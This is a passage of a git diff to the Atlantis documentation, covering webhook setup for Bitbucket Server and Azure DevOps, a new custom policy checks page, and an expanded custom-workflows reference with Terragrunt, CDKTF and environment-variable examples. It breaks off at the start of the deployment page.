**Repository** **un**check everything +* Under **Issues** leave everything **un**checked +* Under **Pull Request**, select: Created, Updated, Merged, Declined and Comment created +* Click **Save** Bitbucket Webhook -- See [Next Steps](#next-steps) +* See [Next Steps](#next-steps) ## Bitbucket Server (aka Stash) -- Go to your repo's home page -- Click **Settings** in the sidebar -- Click **Webhooks** under the **WORKFLOW** section -- Click **Create webhook** -- Enter "Atlantis" for **Name** -- set **URL** to `http://$URL/events` (or `https://$URL/events` if you're using SSL) where `$URL` is where Atlantis is hosted. **Be sure to add `/events`** -- Double-check you added `/events` to the end of your URL. -- Set **Secret** to the Webhook Secret you generated previously - - **NOTE** If you're adding a webhook to multiple repositories, each repository will need to use the **same** secret. -- Under **Repository** select **Push** -- Under **Pull Request**, select: Opened, Modified, Merged, Declined, Deleted and Comment added -- Click **Save**Bitbucket Webhook -- See [Next Steps](#next-steps) + +* Go to your repo's home page +* Click **Settings** in the sidebar +* Click **Webhooks** under the **WORKFLOW** section +* Click **Create webhook** +* Enter "Atlantis" for **Name** +* set **URL** to `http://$URL/events` (or `https://$URL/events` if you're using SSL) where `$URL` is where Atlantis is hosted. **Be sure to add `/events`** +* Double-check you added `/events` to the end of your URL. +* Set **Secret** to the Webhook Secret you generated previously + * **NOTE** If you're adding a webhook to multiple repositories, each repository will need to use the **same** secret. +* Under **Pull Request**, select: Opened, Source branch updated, Merged, Declined, Deleted and Comment added +* Click **Save**Bitbucket Webhook +* See [Next Steps](#next-steps) ## Azure DevOps + Webhooks are installed at the [team project](https://docs.microsoft.com/en-us/azure/devops/organizations/projects/about-projects?view=azure-devops) level, but may be restricted to only fire based on events pertaining to [specific repos](https://docs.microsoft.com/en-us/azure/devops/service-hooks/services/webhooks?view=azure-devops) within the team project. -- Navigate anywhere within a team project, ie: `https://dev.azure.com/orgName/projectName/_git/repoName` -- Select **Project settings** in the lower-left corner -- Select **Service hooks** - - If you see the message "You do not have sufficient permissions to view or configure subscriptions." you need to ensure your user is a member of either the organization's "Project Collection Administrators" group or the project's "Project Administrators" group. - - To add your user to the Project Collection Build Administrators group, navigate to the organization level, click **Organization Settings** and then click **Permissions**. You should be at `https://dev.azure.com//_settings/groups`. Now click on the **/Project Collection Administrators** group and add your user as a member. - - To add your user to the Project Administrators group, navigate to the project level, click **Project Settings** and then click **Permissions**. You should be at `https://dev.azure.com///_settings/permissions`. Now click on the **[]/Project Administrators** group and add your user as a member. -- Click **Create subscription** or the green plus icon to add a new webhook -- Scroll to the bottom of the list and select **Web Hooks** -- Click **Next** -- Under "Trigger on this type of event", select **Pull request created** - - Optionally, select a repository under **Filters** to restrict the scope of this webhook subscription to a specific repository -- Click **Next** -- Set **URL** to `http://$URL/events` where `$URL` is where Atlantis is hosted. Note that SSL, or `https://$URL/events`, is required if you set a Basic username and password for the webhook). **Be sure to add `/events`** -- It is strongly recommended to set a Basic Username and Password for all webhooks -- Leave all three drop-down menus for `...to send` set to **All** -- Resource version should be set to **1.0** for `Pull request created` and `Pull request updated` event types and **2.0** for `Pull request commented on` -- **NOTE** If you're adding a webhook to multiple team projects or repositories (using filters), each repository will need to use the **same** basic username and password. -- Click **Finish** +* Navigate anywhere within a team project, ie: `https://dev.azure.com/orgName/projectName/_git/repoName` +* Select **Project settings** in the lower-left corner +* Select **Service hooks** + * If you see the message "You do not have sufficient permissions to view or configure subscriptions." you need to ensure your user is a member of either the organization's "Project Collection Administrators" group or the project's "Project Administrators" group. + * To add your user to the Project Collection Build Administrators group, navigate to the organization level, click **Organization Settings** and then click **Permissions**. You should be at `https://dev.azure.com//_settings/groups`. Now click on the **\/Project Collection Administrators** group and add your user as a member. + * To add your user to the Project Administrators group, navigate to the project level, click **Project Settings** and then click **Permissions**. You should be at `https://dev.azure.com///_settings/permissions`. Now click on the **\/Project Administrators** group and add your user as a member. +* Click **Create subscription** or the green plus icon to add a new webhook +* Scroll to the bottom of the list and select **Web Hooks** +* Click **Next** +* Under "Trigger on this type of event", select **Pull request created** + * Optionally, select a repository under **Filters** to restrict the scope of this webhook subscription to a specific repository +* Click **Next** +* Set **URL** to `http://$URL/events` where `$URL` is where Atlantis is hosted. Note that SSL, or `https://$URL/events`, is required if you set a Basic username and password for the webhook). **Be sure to add `/events`** +* It is strongly recommended to set a Basic Username and Password for all webhooks +* Leave all three drop-down menus for `...to send` set to **All** +* Resource version should be set to **1.0** for `Pull request created` and `Pull request updated` event types and **2.0** for `Pull request commented on` +* **NOTE** If you're adding a webhook to multiple team projects or repositories (using filters), each repository will need to use the **same** basic username and password. +* Click **Finish** Repeat the process above until you have webhook subscriptions for the following event types that will trigger on all repositories Atlantis will manage: -- Pull request created (you just added this one) -- Pull request updated -- Pull request commented on +* Pull request created (you just added this one) +* Pull request updated +* Pull request commented on -- See [Next Steps](#next-steps) +* See [Next Steps](#next-steps) -## GitLab -If you're using GitLab, navigate to your project's home page in GitLab ## Next Steps -* To verify that Atlantis is receiving your webhooks, create a test pull request - to your repo. + +* To verify that Atlantis is receiving your webhooks, create a test pull request to your repo. * You should see the request show up in the Atlantis logs at an `INFO` level. -* You'll now need to configure Atlantis to add your [Provider Credentials](provider-credentials.html) +* You'll now need to configure Atlantis to add your [Provider Credentials](provider-credentials.md) diff --git a/runatlantis.io/docs/custom-policy-checks.md b/runatlantis.io/docs/custom-policy-checks.md new file mode 100644 index 0000000000..4c353335c7 --- /dev/null +++ b/runatlantis.io/docs/custom-policy-checks.md @@ -0,0 +1,47 @@ +# Custom Policy Checks + +If you want to run custom policy tools or scripts instead of the built-in Conftest integration, you can do so by setting the `custom_policy_check` option and running it in a custom workflow. Note: custom policy tool output is simply parsed for "fail" substrings to determine if the policy set passed. + +This option can be configured either at the server-level in a [repos.yaml config file](server-configuration.md) or at the repo-level in an [atlantis.yaml file.](repo-level-atlantis-yaml.md). + +## Server-side config example + +Set the `policy_check` and `custom_policy_check` options to true, and run the custom tool in the policy check steps as seen below. + +```yaml +repos: + - id: /.*/ + branch: /^main$/ + apply_requirements: [mergeable, undiverged, approved] + policy_check: true + custom_policy_check: true + workflow: custom +workflows: + custom: + policy_check: + steps: + - show + - run: cnspec scan terraform plan $SHOWFILE --policy-bundle example-cnspec-policies.mql.yaml +policies: + owners: + users: + - example_ghuser + policy_sets: + - name: example-set + path: example-cnspec-policies.mql.yaml + source: local +``` + +## Repo-level atlantis.yaml example + +First, you will need to ensure `custom_policy_check` is within the `allowed_overrides` field of the server-side config. Next, just set the custom option to true on the specific project you want as shown in the example `atlantis.yaml` below: + +```yaml +version: 3 +projects: + - name: example + dir: ./example + custom_policy_check: true + autoplan: + when_modified: ["*.tf"] +``` diff --git a/runatlantis.io/docs/custom-workflows.md b/runatlantis.io/docs/custom-workflows.md index 2e0f8b61fb..09bdc4ee7a 100644 --- a/runatlantis.io/docs/custom-workflows.md +++ b/runatlantis.io/docs/custom-workflows.md @@ -3,23 +3,29 @@ Custom workflows can be defined to override the default commands that Atlantis runs. -[[toc]] - ## Usage + Custom workflows can be specified in the Server-Side Repo Config or in the Repo-Level `atlantis.yaml` files. -**Notes** +**Notes:** + * If you want to allow repos to select their own workflows, they must have the -`allowed_overrides: [workflow]` setting. See [server-side repo config use cases](server-side-repo-config.html#allow-repos-to-choose-a-server-side-workflow) for more details. +`allowed_overrides: [workflow]` setting. See [server-side repo config use cases](server-side-repo-config.md#allow-repos-to-choose-a-server-side-workflow) for more details. * If in addition you also want to allow repos to define their own workflows, they must have the -`allow_custom_workflows: true` setting. See [server-side repo config use cases](server-side-repo-config.html#allow-repos-to-define-their-own-workflows) for more details. - +`allow_custom_workflows: true` setting. See [server-side repo config use cases](server-side-repo-config.md#allow-repos-to-define-their-own-workflows) for more details. ## Use Cases + ### .tfvars files + +::: tip +Before creating custom workflows for `.tfvars` files, consider using Atlantis's automatic `env/{workspace}.tfvars` feature. If you structure your files as `env/staging.tfvars`, `env/production.tfvars`, etc., Atlantis will automatically include them based on the workspace without any configuration. See [Using Atlantis - Automatic Environment Variable Files](using-atlantis.md#automatic-environment-variable-files) for details. +::: + Given the structure: -``` + +```plain . └── project1 ├── main.tf @@ -29,6 +35,7 @@ Given the structure: If you wanted Atlantis to automatically run plan with `-var-file staging.tfvars` and `-var-file production.tfvars` you could define two workflows: + ```yaml # repos.yaml or atlantis.yaml workflows: @@ -40,15 +47,31 @@ workflows: extra_args: ["-var-file", "staging.tfvars"] # NOTE: no need to define the apply stage because it will default # to the normal apply stage. - + production: plan: steps: - init - plan: extra_args: ["-var-file", "production.tfvars"] + apply: + steps: + - apply: + extra_args: ["-var-file", "production.tfvars"] + import: + steps: + - init + - import: + extra_args: ["-var-file", "production.tfvars"] + state_rm: + steps: + - init + - state_rm: + extra_args: ["-lock=false"] ``` + Then in your repo-level `atlantis.yaml` file, you would reference the workflows: + ```yaml # atlantis.yaml version: 3 @@ -66,20 +89,27 @@ workflows: # If you didn't define the workflows in your server-side repos.yaml config, # you would define them here instead. ``` + When you want to apply the plans, you can comment -``` + +```shell atlantis apply -p project1-staging ``` + and -``` + +```shell atlantis apply -p project1-production ``` + Where `-p` refers to the project name. ### Adding extra arguments to Terraform commands + If you need to append flags to `terraform plan` or `apply` temporarily, you can append flags on a comment following `--`, for example commenting: -``` + +```shell atlantis plan -- -lock=false ``` @@ -103,7 +133,20 @@ workflows: extra_args: ["-lock=false"] ``` +If [policy checking](policy-checking.md#how-it-works) is enabled, `extra_args` can also be used to change the default behaviour of conftest. + +```yaml +workflows: + myworkflow: + policy_check: + steps: + - show + - policy_check: + extra_args: ["--all-namespaces"] +``` + ### Custom init/plan/apply Commands + If you want to customize `terraform init`, `plan` or `apply` in ways that aren't supported by `extra_args`, you can completely override those commands. @@ -116,22 +159,111 @@ workflows: myworkflow: plan: steps: - - run: terraform init -input=false -no-color - + # If you want to hide command output from Atlantis's PR comment, use + # the output option on the run step's expanded form. + - run: + command: terraform init -input=false + output: hide + # If you're using workspaces you need to select the workspace using the # $WORKSPACE environment variable. - - run: terraform workspace select -no-color $WORKSPACE - + - run: terraform workspace select $WORKSPACE + # You MUST output the plan using -out $PLANFILE because Atlantis expects # plans to be in a specific location. - - run: terraform plan -input=false -refresh -no-color -out $PLANFILE + - run: terraform plan -input=false -refresh -out $PLANFILE apply: steps: # Again, you must use the $PLANFILE environment variable. - - run: terraform apply -no-color $PLANFILE + - run: terraform apply $PLANFILE +``` + +### CDKTF + +Here are the requirements to enable [CDKTF](https://developer.hashicorp.com/terraform/cdktf) + +* A custom image with `CDKTF` installed +* Add `**/cdk.tf.json` to the list of Atlantis autoplan files. +* Set the `atlantis-include-git-untracked-files` flag so that the Terraform files dynamically generated +by CDKTF will be add to the Atlantis modified file list. +* Use `pre_workflow_hooks` to run `cdktf synth` +* Optional: There isn't a requirement to use a repo `atlantis.yaml` but one can be leveraged if needed. + +#### Custom Image + +```dockerfile +# Dockerfile +FROM ghcr.io/runatlantis/atlantis:v0.19.7 + +USER root +RUN apk add npm && npm i -g cdktf-cli +``` + +#### Server Config + +```bash +# env variables +ATLANTIS_AUTOPLAN_FILE_LIST="**/*.tf,**/*.tfvars,**/*.tfvars.json,**/cdk.tf.json" +ATLANTIS_INCLUDE_GIT_UNTRACKED_FILES=true +``` + +OR + +`atlantis server --config config.yaml` + +```yaml +# config.yaml +autoplan-file-list: "**/*.tf,**/*.tfvars,**/*.tfvars.json,**/cdk.tf.json" +include-git-untracked-files: true ``` +#### Server Repo Config + +Use `pre_workflow_hooks` + +`atlantis server --repo-config="repos.yaml"` + +```yaml +# repos.yaml +repos: + - id: /.*cdktf.*/ + pre_workflow_hooks: + - run: npm i && cdktf get && cdktf synth --output ci-cdktf.out +``` + +**Note:** don't use the default `cdktf.out` directory that CDKTF uses, as this should be in the `.gitignore` list of the +repo, so that locally generated files are not checked in. + +#### Repo Structure + +This is the git repo structure after running `cdktf synth`. The `cdk.tf.json` files contain the Terraform configuration +that atlantis can run. + +```bash +$ tree --gitignore +. +├── cdktf.json +├── ci-cdktf.out +│ ├── manifest.json +│ └── stacks +│ └── eks +│ └── cdk.tf.json +``` + +#### Workflow + +1. Container orchestrator (k8s/fargate/ecs/etc) uses the custom docker image of atlantis with `cdktf` installed with +the `--autoplan-file-list` to trigger on `cdk.tf.json` files and `--include-git-untracked-files` set to include the +CDKTF dynamically generated Terraform files in the Atlantis plan. +1. PR branch is pushed up containing `cdktf` code changes. +1. Atlantis checks out the branch in the repo. +1. Atlantis runs the `npm i && cdktf get && cdktf synth` command in the repo root as a step in `pre_workflow_hooks`, +generating the `cdk.tf.json` Terraform files. +1. Atlantis detects the `cdk.tf.json` untracked files in a number of directories. +1. Atlantis then runs `terraform` workflows in the respective directories as usual. + ### Terragrunt + Atlantis supports running custom commands in place of the default Atlantis commands. We can use this functionality to enable [Terragrunt](https://github.com/gruntwork-io/terragrunt). @@ -139,7 +271,8 @@ commands. We can use this functionality to enable You can either use your repo's `atlantis.yaml` file or the Atlantis server's `repos.yaml` file. Given a directory structure: -``` + +```plain . └── live    ├── prod @@ -152,7 +285,8 @@ If using the server `repos.yaml` file, you would use the following config: ```yaml # repos.yaml -# Specify TERRAGRUNT_TFPATH environment variable to accomodate setting --default-tf-version +# Specify TERRAGRUNT_TFPATH environment variable to accommodate setting --default-tf-version +# Generate json plan via terragrunt for policy checks repos: - id: "/.*/" workflow: terragrunt @@ -163,16 +297,47 @@ workflows: - env: name: TERRAGRUNT_TFPATH command: 'echo "terraform${ATLANTIS_TERRAFORM_VERSION}"' - - run: terragrunt plan -no-color -out=$PLANFILE + - env: + # Reduce Terraform suggestion output + name: TF_IN_AUTOMATION + value: 'true' + - run: + # Allow for targeted plans/applies as not supported for Terraform wrappers by default + command: terragrunt plan -input=false $(printf '%s' $COMMENT_ARGS | sed 's/,/ /g' | tr -d '\\') -no-color -out $PLANFILE + output: hide + - run: | + terragrunt show $PLANFILE apply: steps: - env: name: TERRAGRUNT_TFPATH command: 'echo "terraform${ATLANTIS_TERRAFORM_VERSION}"' - - run: terragrunt apply -no-color $PLANFILE + - env: + # Reduce Terraform suggestion output + name: TF_IN_AUTOMATION + value: 'true' + - run: terragrunt apply -input=false $PLANFILE + import: + steps: + - env: + name: TERRAGRUNT_TFPATH + command: 'echo "terraform${DEFAULT_TERRAFORM_VERSION}"' + - env: + name: TF_VAR_author + command: 'git show -s --format="%ae" $HEAD_COMMIT' + # Allow for imports as not supported for Terraform wrappers by default + - run: terragrunt import -input=false $(printf '%s' $COMMENT_ARGS | sed 's/,/ /' | tr -d '\\') + state_rm: + steps: + - env: + name: TERRAGRUNT_TFPATH + command: 'echo "terraform${DEFAULT_TERRAFORM_VERSION}"' + # Allow for state removals as not supported for Terraform wrappers by default + - run: terragrunt state rm $(printf '%s' $COMMENT_ARGS | sed 's/,/ /' | tr -d '\\') ``` If using the repo's `atlantis.yaml` file you would use the following config: + ```yaml version: 3 projects: @@ -187,21 +352,30 @@ workflows: - env: name: TERRAGRUNT_TFPATH command: 'echo "terraform${ATLANTIS_TERRAFORM_VERSION}"' - - run: terragrunt plan -no-color -out $PLANFILE + - env: + # Reduce Terraform suggestion output + name: TF_IN_AUTOMATION + value: 'true' + - run: + command: terragrunt plan -input=false -out=$PLANFILE + output: strip_refreshing apply: steps: - env: name: TERRAGRUNT_TFPATH command: 'echo "terraform${ATLANTIS_TERRAFORM_VERSION}"' - - run: terragrunt apply -no-color $PLANFILE + - env: + # Reduce Terraform suggestion output + name: TF_IN_AUTOMATION + value: 'true' + - run: terragrunt apply $PLANFILE ``` **NOTE:** If using the repo's `atlantis.yaml` file, you will need to specify each directory that is a Terragrunt project. - ::: warning Atlantis will need to have the `terragrunt` binary in its PATH. -If you're using Docker you can build your own image, see [Customization](/docs/deployment.html#customization). +If you're using Docker you can build your own image, see [Customization](deployment.md#customization). ::: If you don't want to create/manage the repo's `atlantis.yaml` file yourself, you can use the tool [terragrunt-atlantis-config](https://github.com/transcend-io/terragrunt-atlantis-config) to generate it. @@ -209,6 +383,7 @@ If you don't want to create/manage the repo's `atlantis.yaml` file yourself, you The `terragrunt-atlantis-config` tool is a community project and not maintained by the Atlantis team. ### Running custom commands + Atlantis supports running completely custom commands. In this example, we want to run a script after every `apply`: @@ -223,17 +398,19 @@ workflows: ``` ::: tip Notes + * We don't need to write a `plan` key under `myworkflow`. If `plan` isn't set, Atlantis will use the default plan workflow which is what we want in this case. * A custom command will only terminate if all output file descriptors are closed. Therefore a custom command can only be sent to the background (e.g. for an SSH tunnel during the terraform run) when its output is redirected to a different location. For example, Atlantis -will execute a custom script containing the following code to create a SSH tunnel correctly: +will execute a custom script containing the following code to create a SSH tunnel correctly: `ssh -f -M -S /tmp/ssh_tunnel -L 3306:database:3306 -N bastion 1>/dev/null 2>&1`. Without the redirect, the script would block the Atlantis workflow. ::: ### Custom Backend Config + If you need to specify the `-backend-config` flag to `terraform init` you'll need to use a custom workflow. In this example, we're using custom backend files to configure two remote states, one for each environment. We're then using `.tfvars` files to load different variables for each environment. @@ -256,14 +433,16 @@ workflows: - init: extra_args: [-backend-config=production.backend.tfvars] - plan: - extra_args: [-var-file=production.tfvars + extra_args: [-var-file=production.tfvars] ``` + ::: warning NOTE We have to use a custom `run` step to `rm -rf .terraform` because otherwise Terraform will complain in-between commands since the backend config has changed. ::: You would then reference the workflows in your repo-level `atlantis.yaml`: + ```yaml version: 3 projects: @@ -275,19 +454,85 @@ projects: workflow: production ``` +### Add directory and repo context for aws resources using default tags + +This is only available in AWS provider version [5.62.0](https://github.com/hashicorp/terraform-provider-aws/releases/tag/v5.62.0) and higher. + +This configuration will create the following tags + +* `repository` equal to `github.com//` which can be changed for gitlab or other VCS +* `repository_dir` equal to the relative directory + +Other default variables can be added such as for workspace. See below for more available environment variables. + +```yaml +workflows: + terraform: + plan: + steps: + # These env vars TF_AWS_DEFAULT_TAGS_ will work for aws provider 5.62.0+ + # https://github.com/hashicorp/terraform-provider-aws/releases/tag/v5.62.0 + - &env_default_tags_repository + env: + name: TF_AWS_DEFAULT_TAGS_repository + command: 'echo "github.com/${BASE_REPO_OWNER}/${BASE_REPO_NAME}"' + - &env_default_tags_repository_dir + env: + name: TF_AWS_DEFAULT_TAGS_repository_dir + command: 'echo "${REPO_REL_DIR}"' + apply: + steps: + - *env_default_tags_repository + - *env_default_tags_repository_dir +``` + +NOTE: + +* Appending tags to every resource may regenerate data sources such as `aws_iam_policy_document` which will cause many resources to be modified. See known issue in aws provider [#29421](https://github.com/hashicorp/terraform-provider-aws/issues/29421). + +* To run a local plan outside of terraform, the same environment variables will need to be created. + + ```bash + tfvars () { + export terraform_repository=$(git config --get remote.origin.url | sed 's,^git@,,g' | tr ':' '/' | sed 's,.git$,,g') + export terraform_repository_dir=$(git rev-parse --show-prefix | sed 's,\/$,,g') + } + export TF_AWS_DEFAULT_TAGS_repository=$terraform_repository + export TF_AWS_DEFAULT_TAGS_repository_dir=$terraform_repository_dir + tfvars + terraform plan + ``` + + If a colon is used in the tag name, use the `env` command instead of `export`. + + ```bash + tfvars + env \ + TF_AWS_DEFAULT_TAGS_org:repository=$terraform_repository \ + TF_AWS_DEFAULT_TAGS_org:repository_dir=$terraform_repository_dir \ + terraform plan + ``` + ## Reference + ### Workflow + ```yaml plan: apply: +import: +state_rm: ``` -| Key | Type | Default | Required | Description | -|-------|-----------------|-----------------------|----------|--------------------------------| -| plan | [Stage](#stage) | `steps: [init, plan]` | no | How to plan for this project. | -| apply | [Stage](#stage) | `steps: [apply]` | no | How to apply for this project. | +| Key | Type | Default | Required | Description | +|----------|-----------------|---------------------------|----------|---------------------------------------| +| plan | [Stage](#stage) | `steps: [init, plan]` | no | How to plan for this project. | +| apply | [Stage](#stage) | `steps: [apply]` | no | How to apply for this project. | +| import | [Stage](#stage) | `steps: [init, import]` | no | How to import for this project. | +| state_rm | [Stage](#stage) | `steps: [init, state_rm]` | no | How to run state rm for this project. | ### Stage + ```yaml steps: - run: custom-command @@ -301,19 +546,27 @@ steps: | steps | array[[Step](#step)] | `[]` | no | List of steps for this stage. If the steps key is empty, no steps will be run for this stage. | ### Step -#### Built-In Commands: init, plan, apply + +#### Built-In Commands + Steps can be a single string for a built-in command. + ```yaml - init - plan - apply +- import +- state_rm ``` -| Key | Type | Default | Required | Description | -| --------------- | ------ | ------- | -------- | ------------------------------------------------------------------------------------------------------ | -| init/plan/apply | string | none | no | Use a built-in command without additional configuration. Only `init`, `plan` and `apply` are supported | + +| Key | Type | Default | Required | Description | +|---------------------------------|--------|---------|----------|------------------------------------------------------------------------------------------------------------------------------| +| init/plan/apply/import/state_rm | string | none | no | Use a built-in command without additional configuration. Only `init`, `plan`, `apply`, `import` and `state_rm` are supported | #### Built-In Command With Extra Args + A map from string to `extra_args` for a built-in command with extra arguments. + ```yaml - init: extra_args: [arg1, arg2] @@ -321,58 +574,99 @@ A map from string to `extra_args` for a built-in command with extra arguments. extra_args: [arg1, arg2] - apply: extra_args: [arg1, arg2] +- import: + extra_args: [arg1, arg2] +- state_rm: + extra_args: [arg1, arg2] ``` -| Key | Type | Default | Required | Description | -|-----------------|------------------------------------|---------|----------|-----------------------------------------------------------------------------------------------------------------------------------------------------| -| init/plan/apply | map[`extra_args` -> array[string]] | none | no | Use a built-in command and append `extra_args`. Only `init`, `plan` and `apply` are supported as keys and only `extra_args` is supported as a value | + +| Key | Type | Default | Required | Description | +|---------------------------------|------------------------------------|---------|----------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------| +| init/plan/apply/import/state_rm | map\[`extra_args` -> array\[string\]\] | none | no | Use a built-in command and append `extra_args`. Only `init`, `plan`, `apply`, `import` and `state_rm` are supported as keys and only `extra_args` is supported as a value | #### Custom `run` Command -Or a custom command + +A custom command can be written in 2 ways + +Compact: + ```yaml -- run: custom-command +- run: custom-command arg1 arg2 ``` + | Key | Type | Default | Required | Description | |-----|--------|---------|----------|----------------------| | run | string | none | no | Run a custom command | -::: tip Notes -* `run` steps are executed with the following environment variables: +Full + +```yaml +- run: + command: custom-command arg1 arg2 + shell: sh + shellArgs: + - "--debug" + - "-c" + output: show +``` + +| Key | Type | Default | Required | Description | +|-----|--------------------------------------------------------------|---------|----------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| +| run | map\[string -> string\] | none | no | Run a custom command | +| run.command | string | none | yes | Shell command to run | +| run.shell | string | "sh" | no | Name of the shell to use for command execution | +| run.shellArgs | string or []string | "-c" | no | Command line arguments to be passed to the shell. Cannot be set without `shell` | +| run.output | string | "show" | no | How to post-process the output of this command when posted in the PR comment. The options are
*`show` - preserve the full output
* `hide` - hide output from comment (still visible in the real-time streaming output)
* `strip_refreshing` - hide all output up until and including the last line containing "Refreshing...". This matches the behavior of the built-in `plan` command | + +#### Native Environment Variables + +* `run` steps in the main `workflow` are executed with the following environment variables: + note: these variables are not available to `pre` or `post` workflows * `WORKSPACE` - The Terraform workspace used for this project, ex. `default`. - * NOTE: if the step is executed before `init` then Atlantis won't have switched to this workspace yet. + NOTE: if the step is executed before `init` then Atlantis won't have switched to this workspace yet. * `ATLANTIS_TERRAFORM_VERSION` - The version of Terraform used for this project, ex. `0.11.0`. * `DIR` - Absolute path to the current directory. * `PLANFILE` - Absolute path to the location where Atlantis expects the plan to - either be generated (by plan) or already exist (if running apply). Can be used to - override the built-in `plan`/`apply` commands, ex. `run: terraform plan -out $PLANFILE`. + either be generated (by plan) or already exist (if running apply). Can be used to + override the built-in `plan`/`apply` commands, ex. `run: terraform plan -out $PLANFILE`. + * `SHOWFILE` - Absolute path to the location where Atlantis expects the plan in json format to + either be generated (by show) or already exist (if running policy checks). Can be used to + override the built-in `plan`/`apply` commands, ex. `run: terraform show -json $PLANFILE > $SHOWFILE`. + * `POLICYCHECKFILE` - Absolute path to the location of policy check output if Atlantis runs policy checks. + See [policy checking](policy-checking.md#data-for-custom-run-steps) for information of data structure. * `BASE_REPO_NAME` - Name of the repository that the pull request will be merged into, ex. `atlantis`. * `BASE_REPO_OWNER` - Owner of the repository that the pull request will be merged into, ex. `runatlantis`. * `HEAD_REPO_NAME` - Name of the repository that is getting merged into the base repository, ex. `atlantis`. * `HEAD_REPO_OWNER` - Owner of the repository that is getting merged into the base repository, ex. `acme-corp`. * `HEAD_BRANCH_NAME` - Name of the head branch of the pull request (the branch that is getting merged into the base) + * `HEAD_COMMIT` - The sha256 that points to the head of the branch that is being pull requested into the base. If the pull request is from Bitbucket Cloud the string will only be 12 characters long because Bitbucket Cloud truncates its commit IDs. * `BASE_BRANCH_NAME` - Name of the base branch of the pull request (the branch that the pull request is getting merged into) * `PROJECT_NAME` - Name of the project configured in `atlantis.yaml`. If no project name is configured this will be an empty string. * `PULL_NUM` - Pull request number or ID, ex. `2`. + * `PULL_URL` - Pull request URL, ex. `https://github.com/runatlantis/atlantis/pull/2`. * `PULL_AUTHOR` - Username of the pull request author, ex. `acme-user`. * `REPO_REL_DIR` - The relative path of the project in the repository. For example if your project is in `dir1/dir2/` then this will be set to `"dir1/dir2"`. If your project is at the root this will be `"."`. * `USER_NAME` - Username of the VCS user running command, ex. `acme-user`. During an autoplan, the user will be the Atlantis API user, ex. `atlantis`. * `COMMENT_ARGS` - Any additional flags passed in the comment on the pull request. Flags are separated by commas and - every character is escaped, ex. `atlantis plan -- arg1 arg2` will result in `COMMENT_ARGS=\a\r\g\1,\a\r\g\2`. + every character is escaped, ex. `atlantis plan -- arg1 arg2` will result in `COMMENT_ARGS=\a\r\g\1,\a\r\g\2`. * A custom command will only terminate if all output file descriptors are closed. Therefore a custom command can only be sent to the background (e.g. for an SSH tunnel during the terraform run) when its output is redirected to a different location. For example, Atlantis -will execute a custom script containing the following code to create a SSH tunnel correctly: +will execute a custom script containing the following code to create a SSH tunnel correctly: `ssh -f -M -S /tmp/ssh_tunnel -L 3306:database:3306 -N bastion 1>/dev/null 2>&1`. Without the redirect, the script would block the Atlantis workflow. -* If a workflow step returns a non-zero exit code, the workflow will stop. +* If a workflow step returns a non-zero exit code, the workflow will stop. ::: #### Environment Variable `env` Command + The `env` command allows you to set environment variables that will be available to all steps defined **below** the `env` step. You can set hard coded values via the `value` key, or set dynamic values via the `command` key which allows you to run any command and uses the output as the environment variable value. + ```yaml - env: name: ENV_NAME @@ -380,12 +674,72 @@ as the environment variable value. - env: name: ENV_NAME_2 command: 'echo "dynamic-value-$(date)"' +- env: + name: ENV_NAME_3 + command: echo ${DIR%$REPO_REL_DIR} + shell: bash + shellArgs: + - "--verbose" + - "-c" ``` -| Key | Type | Default | Required | Description | -|-----------------|------------------------------------|---------|----------|-----------------------------------------------------------------------------------------------------------------------------------------------------| -| env | map[`name` -> string, `value` -> string, `command` -> string] | none | no | Set environment variables for subsequent steps | + +| Key | Type | Default | Required | Description | +|-----------------|-----------------------|---------|----------|-----------------------------------------------------------------------------------------------------------------| +| env | map\[string -> string\] | none | no | Set environment variables for subsequent steps | +| env.name | string | none | yes | Name of the environment variable | +| env.value | string | none | no | Set the value of the environment variable to a hard-coded string. Cannot be set at the same time as `command` | +| env.command | string | none | no | Set the value of the environment variable to the output of a command. Cannot be set at the same time as `value` | +| env.shell | string | "sh" | no | Name of the shell to use for command execution. Cannot be set without `command` | +| env.shellArgs | string or []string | "-c" | no | Command line arguments to be passed to the shell. Cannot be set without `shell` | ::: tip Notes + * `env` `command`'s can use any of the built-in environment variables available - to `run` commands. + to `run` commands. +::: + +#### Multiple Environment Variables `multienv` Command + +The `multienv` command allows you to set dynamic number of multiple environment variables that will be available +to all steps defined **below** the `multienv` step. + +Compact: + +```yaml +- multienv: custom-command +``` + +| Key | Type | Default | Required | Description | +|----------|--------|---------|----------|------------------------------------------------------------| +| multienv | string | none | no | Run a custom command and add printed environment variables | + +Full: + +```yaml +- multienv: + command: custom-command + shell: bash + shellArgs: + - "--verbose" + - "-c" + output: show +``` + +| Key | Type | Default | Required | Description | +|--------------------|-----------------------|---------|----------|-------------------------------------------------------------------------------------| +| multienv | map[string -> string] | none | no | Run a custom command and add printed environment variables | +| multienv.command | string | none | yes | Name of the custom script to run | +| multienv.shell | string | "sh" | no | Name of the shell to use for command execution | +| multienv.shellArgs | string or []string | "-c" | no | Command line arguments to be passed to the shell. Cannot be set without `shell` | +| multienv.output | string | "show" | no | Setting output to "hide" will suppress the message obout added environment variables | + +The output of the command execution must have the following format: +`EnvVar1Name=value1,EnvVar2Name=value2,EnvVar3Name=value3` + +The name-value pairs in the output are added as environment variables if command execution is successful, otherwise the workflow execution is interrupted with an error and the errorMessage is returned. + +::: tip Notes + +* `multienv` `command`'s can use any of the built-in environment variables available + to `run` commands. ::: diff --git a/runatlantis.io/docs/deployment.md b/runatlantis.io/docs/deployment.md index 1d74e4d30a..5df948bc64 100644 --- a/runatlantis.io/docs/deployment.md +++ b/runatlantis.io/docs/deployment.md @@ -1,29 +1,33 @@ # Deployment + This page covers getting Atlantis up and running in your infrastructure. ::: tip Prerequisites -* You have created [access credentials](access-credentials.html) for your Atlantis user -* You have created a [webhook secret](webhook-secrets.html) -::: -[[toc]] +* You have created [access credentials](access-credentials.md) for your Atlantis user +* You have created a [webhook secret](webhook-secrets.md) +::: ## Architecture Overview + ### Runtime + Atlantis is a simple [Go](https://golang.org/) app. It receives webhooks from your Git host and executes Terraform commands locally. There is an official -Atlantis [Docker image](https://hub.docker.com/r/runatlantis/atlantis/). +Atlantis [Docker image](https://ghcr.io/runatlantis/atlantis). ### Routing + Atlantis and your Git host need to be able to route and communicate with one another. Your Git host needs to be able to send webhooks to Atlantis and Atlantis needs to be able to make API calls to your Git host. If you're using -a public Git host like github.com, gitlab.com, bitbucket.org, or dev.azure.com then you'll need to +a public Git host like github.com, gitlab.com, gitea.com, bitbucket.org, or dev.azure.com then you'll need to expose 